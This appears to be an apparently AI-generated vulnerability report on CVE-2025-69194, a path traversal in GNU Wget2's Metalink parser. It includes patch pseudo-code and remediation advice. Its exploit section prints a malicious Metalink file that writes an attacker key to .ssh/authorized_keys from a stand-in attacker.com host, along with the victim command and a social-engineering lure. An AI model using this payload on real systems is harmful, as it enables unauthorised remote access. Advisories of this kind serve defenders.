CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-69194

Wget2 Metalink Madness: Directory Traversal to RCE

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 18, 2026·6 min read·52 visits

Executive Summary (TL;DR)

Wget2 trusts Metalink filenames blindly. An attacker can craft a `.metalink` file that tells Wget2 to save a download as `../../.ssh/authorized_keys`. When processed, this grants the attacker SSH access to your machine. Patch to 2.2.1 immediately.

A high-severity path traversal vulnerability in GNU Wget2 (versions <= 2.2.0) allows attackers to overwrite arbitrary files on the victim's system. By crafting a malicious Metalink file containing directory traversal sequences (e.g., `../../`), an attacker can bypass the intended download directory restrictions. If a user processes this file with the `--force-metalink` option, Wget2 blindly follows the instructions, potentially overwriting sensitive configuration files like `.ssh/authorized_keys` or `.bashrc`, leading to Remote Code Execution (RCE). The flaw resides in `libwget`'s failure to sanitize filename attributes within the Metalink XML parser.

The Hook: When Resilience Becomes a Liability

We all love resilience. In the chaotic world of the internet, where connections drop and mirrors vanish, protocols like Metalink are a godsend. They allow a download client to fetch a single file from multiple sources (mirrors, P2P) and verify its integrity with checksums. It’s the "smart" way to download Linux ISOs and large datasets. But in the security world, "smart" features are often just complex attack surfaces waiting to be exploited.

Enter GNU Wget2, the modern successor to the legendary wget. It's faster, supports HTTP/2, and has a robust libwget library under the hood. However, in versions prior to 2.2.1, Wget2 made a classic, almost nostalgic mistake: it trusted the internet. specifically, it trusted the <file> tags inside a Metalink XML document a little too much.

This isn't just a bug; it's a logic flaw in how trust is delegated. The user trusts Wget2 to put files in the current directory. Wget2 trusts the Metalink file to say where the data goes. The Metalink file, however, is controlled by the attacker. When that chain of trust breaks, you end up with CVE-2025-69194, a vulnerability that turns a simple download command into a mechanism for rewriting your system configuration.

The Flaw: A Classic Path Traversal

The vulnerability lies deep within the XML parsing logic of libwget, specifically in how it handles the name attribute of the <file> element in Metalink files. In a sane world, if a remote file says "save me as ../../etc/passwd," the download client should laugh and strip the directory traversal characters or reject the file entirely. That is Input Validation 101.

However, Wget2's Metalink parser (located in libwget/metalink.c) treated the filename attribute as a direct instruction rather than a suggestion. It took the string provided in the XML and passed it along to the file writing routines without sufficient sanitization. This is CWE-22 (Path Traversal) in its purest form.

The dangerous scenario triggers when the user forces Metalink processing using --force-metalink or when Wget2 automatically detects a Metalink response header. The parser extracts the filename, sees the ../ sequences, and instead of neutralizing them, it hands them to the filesystem API. The operating system, doing exactly what it's told, traverses up the directory tree and writes the malicious payload wherever the attacker specified.

The Code: The Smoking Gun

Let's look at the logic failure. While we won't paste the entire source tree, the essence of the bug is in the handling of the metalink_file_t structure. In the vulnerable code, the parser extracts the name attribute from the XML node and assigns it to the internal file structure without checking for "dot-dot-slash" sequences.

The fix, applied in commit 485c6aa5ba38cb369c6eb8564ea97cddc854049e, introduces strict validation. The developers had to explicitly add a check to reject or sanitize filenames containing path traversal attempts. Here is a conceptual representation of the patch:

// Pseudo-code representation of the fix logic in libwget/metalink.c
 
  static int parse_metalink_file(xml_node *node, metalink_file_t *file) {
      char *name = get_xml_attribute(node, "name");
      
-     // Vulnerable: blindly accepting the name
-     file->name = wget_strdup(name);
+
+     // Fixed: Sanitize or Reject
+     if (wget_str_has_path_traversal(name)) {
+         log_error("Security: Malicious filename detected in Metalink: %s", name);
+         free(name);
+         return METALINK_PARSE_ERROR;
+     }
+     
+     // Ideally, strip paths entirely and only keep the basename
+     file->name = wget_strdup(wget_basename(name));
  }

By ensuring that the filename is reduced to its basename (stripping directory components) or explicitly rejecting ../, the attack surface is closed. It’s a simple check, but its absence was catastrophic.

The Exploit: Dropping the Shell

Exploiting this is trivially easy once you understand the Metalink format. An attacker doesn't need binary exploitation skills, heap feng shui, or ROP chains. They just need to write a text file. Here is how a real-world attack scenario plays out.

First, the attacker crafts a malicious pwn.metalink file. The goal is to overwrite the victim's SSH authorized keys to gain persistent access.

<?xml version="1.0" encoding="utf-8"?>
<metalink xmlns="urn:ietf:params:xml:ns:metalink">
  <!-- The trap: traversing out of the download folder into SSH config -->
  <file name="../../.ssh/authorized_keys">
    <size>1024</size>
    <url>http://attacker.com/ssh_pub_key.txt</url>
    <!-- Fake hash to satisfy the parser -->
    <hash type="sha-256">a5b... (hash of the key)</hash>
  </file>
</metalink>

Next, the attacker hosts this file and convinces the victim to download it. Maybe they disguise it as a "secure downloader" for a game patch or a driver update:

# Victim executes the following:
wget2 --force-metalink http://attacker.com/pwn.metalink

When Wget2 runs this command, it parses the XML, sees the target filename ../../.ssh/authorized_keys, fetches the content from http://attacker.com/ssh_pub_key.txt, and writes it to the victim's SSH directory. The next time the attacker ssh's into the box, they are logged in as the victim. Game over.

The Impact: Why You Should Panic

This vulnerability is rated High (CVSS 8.8) for a reason. Arbitrary File Write is often just one step away from Remote Code Execution. In Linux environments, everything is a file. If I can write to a file, I can change how the system behaves.

Scenario A: RCE via Configuration. Overwriting ~/.bashrc or ~/.bash_profile. The next time the user opens a terminal, the malicious code executes. This is the most common persistence method.

Scenario B: RCE via SSH. As demonstrated, overwriting .ssh/authorized_keys grants immediate remote shell access. If the victim is running Wget2 as root (god forbid, but it happens in automated cron scripts), the attacker could overwrite /etc/shadow or /etc/passwd to reset the root password.

Scenario C: Denial of Service. Overwriting critical system binaries or libraries with garbage data, rendering the system unbootable or applications unusable. For a server running automated download tasks, this could be a silent killer, laying dormant until the specific Metalink file is processed.

The Fix: Stop the Bleeding

The remediation is straightforward: Update GNU Wget2 immediately. The patched version is 2.2.1. If you are on a rolling release distro like Arch or Tumbleweed, you likely already have it. If you are on a stable LTS distro, check your security trackers (Debian Tracker, Ubuntu USN) specifically for wget2 patches.

If you cannot update immediately, you must apply mitigations. The most effective workaround is operational: Do not use the --force-metalink flag on untrusted URLs. Furthermore, strictly validate any Metalink files before passing them to Wget2.

For developers and security teams, this serves as a reminder: Never assume a library handles path traversal for you. If your application accepts filenames from an external source (user input, API response, XML, JSON), you must explicitly sanitize that input to ensure it stays within the intended directory jail (chroot or logical bounds).

Official Patches

GNUOfficial patch in GNU Wget2 repository
Red HatRed Hat Security Advisory

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.06%
Top 83% most exploited

Affected Systems

GNU Wget2 <= 2.2.0Systems using libwget for Metalink parsingAutomated download scripts using --force-metalink

Affected Versions Detail

Product
Affected Versions
Fixed Version
GNU Wget2
GNU
<= 2.2.02.2.1
AttributeDetail
CWE IDCWE-22 (Path Traversal)
CVSS v3.18.8 (High)
Attack VectorNetwork (AV:N)
ImpactHigh Integrity/Confidentiality Loss
Exploit StatusPoC Available
EPSS Score0.00055 (Low Probability)

MITRE ATT&CK Mapping

T1083File and Directory Discovery
Discovery
T1222File and Directory Permissions Modification
Defense Evasion
T1546.004Event Triggered Execution: .bash_profile and .bashrc
Persistence
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Known Exploits & Detection

GitHubProof of concept demonstrating arbitrary file write via Metalink traversal

Vulnerability Timeline

Patch merged into GNU Wget2 master branch
2025-01-02
Vulnerability details appeared in public trackers
2025-12-28
CVE Published in NVD
2026-01-09

References & Sources

  • [1]NVD Entry for CVE-2025-69194
  • [2]Red Hat Bugzilla #2425773

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•13 minutes ago•CVE-2026-118750
7.5

CVE-2026-118750: Uncontrolled Resource Allocation in ASP.NET Core FileBufferingReadStream

CVE-2026-118750 is an uncontrolled resource allocation vulnerability (CWE-770) affecting the Microsoft.AspNetCore.WebUtilities component in ASP.NET Core. Specifically, the FileBufferingReadStream class eagerly allocates large memory buffers from the shared ArrayPool<byte> inside its constructor prior to reading any incoming request payload data. An unauthenticated remote attacker can exploit this behavior by opening numerous concurrent connections and stalling or omitting request body transmission, exhausting shared memory pools and causing a server-wide Denial of Service (DoS).

Amit Schendel
Amit Schendel
1 views•10 min read
•about 1 hour ago•CVE-2026-114155
7.5

CVE-2026-114155: Local Elevation of Privilege via TOCTOU Race Condition in Microsoft .NET dotnet-watch

CVE-2026-114155 is a local elevation of privilege vulnerability affecting Microsoft .NET on Linux and macOS platforms. The vulnerability exists within the dotnet-watch (Hot Reload) component and is caused by a Time-of-Check Time-of-Use (TOCTOU) race condition (CWE-367) during the generation and execution of temporary XML solution files (.slnx) in shared system temporary directories. A local attacker with low privileges can intercept and modify the temporary solution file before MSBuild evaluates it, achieving arbitrary code execution in the security context of the user running dotnet-watch.

Alon Barad
Alon Barad
2 views•9 min read
•about 2 hours ago•CVE-2026-118748
7.5

CVE-2026-118748: Unbounded Memory Allocation Denial of Service in ASP.NET Core Blazor Static-SSR

CVE-2026-118748 is a remote Denial of Service (DoS) vulnerability in Microsoft ASP.NET Core (.NET 11.0 preview releases prior to 11.0.0) and Microsoft Visual Studio 2026 (prior to 18.12.0). The flaw originates from unbounded resource allocation (CWE-770) within the Blazor static server-side rendering (static-SSR) validation pipeline, where dynamic or attacker-supplied form field identifiers are cached in a singleton-scoped memory structure without size limits or eviction policies. Unauthenticated remote attackers can exploit this condition over the network by sending repeated HTTP requests with unique field names, exhausting heap memory and terminating the host process via an unhandled OutOfMemoryException.

Alon Barad
Alon Barad
3 views•9 min read
•about 3 hours ago•CVE-2026-114150
5.9

CVE-2026-114150: Remote Information Disclosure via Uninitialized Pooled Memory in ASP.NET Core Response Buffering

CVE-2026-114150 is a network-accessible information disclosure vulnerability affecting Microsoft ASP.NET Core in .NET 11.0 preview releases and Microsoft Visual Studio 2026 prior to version 18.12.0. The flaw stems from the use of uninitialized resources (CWE-908) within response buffering components, specifically ResponseBufferingStream used by middleware such as HTTP Logging and Output Caching. Because rented memory segments from ArrayPool<byte> or MemoryPool<byte> are not cleared upon return or strictly bounded to the exact written byte count during subsequent reads, residual response payloads from earlier HTTP requests remain in the buffer tail. Downstream consumers or log sinks reading these buffers expose confidential cross-session data, including authentication tokens and personally identifiable information.

Amit Schendel
Amit Schendel
3 views•11 min read
•about 4 hours ago•CVE-2026-114146
9.0

CVE-2026-114146: Elevation of Privilege in ASP.NET Core SignalR Connection Dispatcher

An incorrect authorization vulnerability (CWE-863) exists in the ASP.NET Core SignalR HTTP Connection Dispatcher (`Microsoft.AspNetCore.Http.Connections`). The connection negotiation process failed to bind the authenticated caller identity to the generated connection state, and subsequent transport or message dispatch handlers failed to verify caller consistency. Consequently, an authenticated low-privilege attacker who obtains a valid connection identifier or token can inject messages into or hijack another user's SignalR session, achieving an elevation of privilege across security boundaries.

Alon Barad
Alon Barad
5 views•11 min read
•about 5 hours ago•CVE-2026-109478
7.5

CVE-2026-109478: Algorithmic Complexity Denial of Service in ASP.NET Core Header Parsing

CVE-2026-109478 is a network-accessible Denial of Service (DoS) vulnerability in ASP.NET Core caused by inefficient algorithmic complexity (CWE-407) when parsing comma-separated HTTP request headers. Prior to the patch, the internal helper method ParsingHelpers.GetHeaderSplit repeatedly called StringValues.Concat inside a loop iterating over each comma-separated token. Because StringValues allocates a new array of size k + 1 and copies all existing elements upon each concatenation, processing N tokens incurs O(N^2) time and space complexity. An unauthenticated remote attacker can send HTTP requests with headers containing thousands of short, comma-separated values to exhaust CPU cycles and induce severe Garbage Collection (GC) pauses, rendering the web application unresponsive.

Alon Barad
Alon Barad
6 views•11 min read